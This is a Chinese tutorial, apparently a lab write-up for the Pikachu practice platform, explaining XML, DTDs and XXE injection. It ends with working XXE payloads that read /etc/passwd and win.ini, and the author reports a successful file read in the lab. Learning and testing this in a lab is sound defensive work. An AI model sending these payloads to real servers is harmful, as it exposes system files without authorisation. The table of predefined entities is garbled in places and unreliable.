Pikachu漏洞练习平台之XXE(XML外部实体注入)
目录
什么是 XML?
什么是DTD?
什么是XEE?
常见payload
什么是 XML?
XML 指可扩展标记语言(EXtensible Markup Language);
XML 不会做任何事情,而是用来结构化、存储以及传输信息;
XML 标签没有被预定义,需要我们自行定义标签。
XML总体由元素组成,元素可以额外附加属性,需要提前定义,元素中可以引用实体。
XML中的5个预定义实体引用:
< <
> >
& &
" "
' '
实体根据引用方式,分为内部实体与外部实体 。
实体可以理解为变量,必须先在DTD中定义声明,然后在文档中的其他位置引用该变量的值。
<square width="100" /> &a; </square>
元素 属性 实体
内部实体:
<!ENTITY 实体名称 "实体的值">
外部实体:
<!ENTITY 实体名称 SYSTEM "URI">
参数实体:
<!ENTITY % 实体名称 "实体的值">或者<!ENTITY % 实体名称 SYSTEM "URI">
一个 XML 文档实例:
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
第一行是 XML 声明,它定义 XML 的版本(1.0)和所使用的编码(UTF-8 : 万国码, 可显示各种语言);下一行描述文档的根元素(本文档是一个便签:<note>);接下来 4 行描述了根的 4 个子元素(to, from, heading 以及 body)。
什么是DTD?
文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构,DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
内部的 DOCTYPE 声明:假如 DTD 被包含在 XML 源文件中
<!DOCTYPE 根元素 [元素声明]>
外部文档声明:假如 DTD 位于 XML 源文件的外部
<!DOCTYPE 根元素 SYSTEM "文件名">
带有 DTD 的 XML 文档实例:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
在DTD设置了一些变量,然后在XML文档中再使用到这些变量。
什么是XEE?
XXE就是攻击者自定义了XML文件进行了执行,最终效果实现读取系统文件。
常见payload
测试代码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe 'test' > ]>
<foo>&xxe;</foo>
读取文件的payload
对于Windows:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>
对于Linux:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<foo>&xxe;</foo>
UTF-8(可变长度编码)有时候也用ISO-8859-1(单字节固定长度编码)也可不指定编码
测试解析xml代码情况
回显test
因为我这里的靶场是使用Linux系统搭建的,因此尝试读取 /etc/passwd
读取成功